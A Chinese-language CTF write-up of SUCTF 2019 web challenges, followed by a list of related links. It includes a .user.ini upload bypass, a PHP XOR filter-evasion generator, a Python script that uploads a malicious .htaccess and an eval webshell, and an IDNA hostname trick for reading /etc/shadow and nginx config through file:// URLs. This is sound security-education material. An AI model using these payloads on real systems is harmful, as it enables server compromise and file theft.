本次比赛还是太菜了,只写出了两道题。但是学习到了很多东西。

web

check

题目是一个文件上传,但是限制了很多地方,限制了文件类型,并且判断了文件上传的文件内容,这里是使用exif_image判断的。可以通过手动添加GIF89,也可以在文件头加上width和height


这里在前面添加

#define width 1337
#define height 1337auto_prepend_file=2.jpg

首先先上传一个.user.ini文件
关于.user.ini参考这里.user.ini文件构成的PHP后门

后再上传个2.php文件。

访问生成的目录即可得到flag

easyphp

首先得到源码。

<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>

简单的代码审计下。
发现这个正则太变态了if ( preg_match('/[\x00- 0-9A-Za-z\'"\~_&.,|=[\x7F]+/i’, $hhh) )`过滤了字母,数字,下划线以及其他的符号。
并且要通过eval去触发get_the_flag函数
首先我们先拜读这两篇文章
PHP不使用数字,字母和下划线写shell
ISITDTU CTF 2019 EasyPHP 回顾

首先了解下php中异或的概念
在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000即为~
所以‘A’^'?'='~'

于是我们可以通过异或来绕过正则
但是我们怎么去触发函数呢?
发现可以这样去触发函数 ${_GET}{name}() ;& name = phpinfo

这里贴上师傅的脚本

<?php
function gen($pl) {$aa = "";$bb = "";for ($j = 0; $j < strlen($pl); $j++) {for ($i = 0xa0; $i < 0xff; $i++) {if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {$t = chr($i) ^ $pl[$j];if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {$aa .= chr($i);$bb .= $t;break;}}}}return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");// _GET \xA0\xA0\xA0\xA0^\xFF\xE7\xE5\xF4 _POST \xA0\xA0\xA0\xA0\xA0^\xFF\xF0\xEF\xF3\xF4

于是?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo
因为已经可以执行get_the_flag()函数。所以可以直接上传一句话木马。
贴上脚本

import requests
import base64url = b'http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=get_the_flag'htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .we
php_value auto_append_file "php://filter/convert.base64-decode/resource=./w.we"
"""shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['c']);?>")files = [('file',('.htaccess',htaccess,'application/octet-stream'))]data = {"upload":"Submit"}
print("upload .htaccess")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)print(r.text) print("upload w.we")files = [('file',('w.we',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)


后使用蚁剑连接

但是这里有限制发现蚁剑根本无法访问www目录
于是查看phpinfo,发现启用了disable_function.

并且还限制了open_basedir
后绕过disable_function和open_basedir。任意文件读取即可

pythonginx

得到源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostnameif host == 'suctf.cc':return "我扌 your problem? 111"parts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)#去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"

听师傅们说这是blackhat的议题,详细见chrome-extension://cdonnmffkdaoajfknoeeecmchibpmkmg/static/pdf/web/viewer.html?file=https%3A%2F%2Fi.blackhat.com%2FUSA-19%2FThursday%2Fus-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
文中提到了
encode(‘idna’)是指转换为国际化域名
构造url绕过file://suctf.cℂ/etc/shadow
经过测试当suctf.cℂ时,即可绕过suctf.cc。

根据题中的提示,”Do you know the nginx?”,直接读取nginx的文件。

file://suctf.cℂ/etc/shadow/usr/local/nginx/conf/nginx.conf


查看到flag的文件目录。
读取目录。

 file://suctf.cℂ/etc/shadow/usr/fffffflag

得到flag

SUCTF_2019部分题解复现相关推荐

  1. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  2. 2018.5.5信息安全铁人三项赛数据赛复现

    前言: 最近的学习效率不是很高,但无论在家还是学校都要学会自律,而且马上就铁人三项比赛了,通过复现一些之前的赛题进行学习. 0x01:涉及的一些协议 TCP(传送控制协议) 作用:是一种面向连接.可靠 ...

  3. Incognito CTF 3.0部分WP及赛后复现

    ictf部分wp及赛后复现 Web Invisible We found an illegal forum but are unable to access due to it being invit ...

  4. i春秋CTF ssrfme (peal函数中get命令漏洞)命令执行 详细题解+原理 学习过程

    前几天刚做一道命令执行的题目累的够呛,这会刷题又碰见一道,看了很多write up都不有不同的地方,而且这道题的环境和其他平台的环境也有点差异,有些wirte up 复现甚至做不出,最后自己独自去思考 ...

  5. 上海市大学生网络安全大赛题解

    利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...

  6. 2022DASCTF Apr X FATE 防疫挑战赛复现

    misc 第二题: wireshark打开直接搜字符串flag,发现4个字段含有flag,其中一个发现是zip文件,想把它提取出来, 将他数据导入一个新的zip文件,打开 在50段找到密码加密字段,找 ...

  7. Facebook 发布深度学习工具包 PyTorch Hub,让论文复现变得更容易

    近日,PyTorch 社区发布了一个深度学习工具包 PyTorchHub, 帮助机器学习工作者更快实现重要论文的复现工作.PyTorchHub 由一个预训练模型仓库组成,专门用于提高研究工作的复现性以 ...

  8. [JS][dfs]题解 | #迷宫问题#

    题解 | #迷宫问题# 题目链接 迷宫问题 题目描述 定义一个二维数组 N*M ,如 5 × 5 数组下所示: int maze[5][5] = { 0, 1, 0, 0, 0, 0, 1, 1, 1 ...

  9. [JS][dp]题解 | #打家劫舍(一)#

    题解 | #打家劫舍(一)# 题目链接 打家劫舍(一) 题目描述 描述 你是一个经验丰富的小偷,准备偷沿街的一排房间,每个房间都存有一定的现金,为了防止被发现,你不能偷相邻的两家,即,如果偷了第一家, ...

  10. [JS]题解 | #魔法数字#

    题解 | #魔法数字# 题目链接 魔法数字 题目描述 牛妹给牛牛写了一个数字n,然后又给自己写了一个数字m,她希望牛牛能执行最少的操作将他的数字转化成自己的. 操作共有三种,如下: 在当前数字的基础上 ...

最新文章

  1. 组装肩部带有减速器双轴机械臂组装与调试
  2. 按摩加快肌肉修复有科学依据了,哈佛大学研究成果登Science子刊
  3. 通过细胞自动机,AI在「我的世界」学会了盖房子
  4. 分享一个模板解析的方法
  5. IPhone 设备状态、闪光灯状态
  6. LeetCode 530二叉搜索树的最小绝对值差-简单
  7. 「原创」从马云、马化腾、李彦宏的对话,看出三人智慧差在哪里?
  8. vue数组刷新_Vue中数组更新后,页面没有动态刷新问题
  9. Win7旗舰版系统网页显示不全怎么办
  10. python第一单元测试,知到Python语言应用第一单元章节测试答案
  11. 锁Lock,主要是重入锁和读写锁
  12. 沃尔玛实验室 —— 为什么我们要启动开源计划
  13. Spring.profile实现开发、测试和生产环境的配置和切换
  14. 能否设计变容量发动机
  15. 计算机EV录屏培训体会,停课不停学19|好用的EV录屏软件助力线上教学
  16. SECS/GEM协议开发应用
  17. ios7禁止屏幕旋转,强制竖屏
  18. 互联网大佬“舌战”996:马云、刘强东、周鸿祎、张朝阳、李国庆,你站谁?
  19. python ip地址处理_Python学习笔记-IP地址处理模块Ipy
  20. HEVC学习(五) —— 帧内预测系列之三

热门文章

  1. 【和小冉一起学习c++】踏入c++的大门~第一个c++程序
  2. xamp设置web服务器
  3. linux交互式脚本编写,谢烟客---------Linux之bash脚本编程---用户交互
  4. 五天带你学完《计算机网络》,期末考试不挂科
  5. npm启动报错Eorror:ENOENT no such file or directory ‘/node-sass/vender‘
  6. 计算机监控系统sacad,太阳能热泵多功能复合机(sahpm)计算机监控系统实现方法研究-机械电子工程专业论文.docx...
  7. tp5.1 页面调取微信扫一扫识别条形码和二维码
  8. 等到花儿也谢了的await
  9. 【渝粤题库】陕西师范大学201611《中国古代文学(四)》作业
  10. oppo r11 r11t解BL锁安装面具magisk详细教程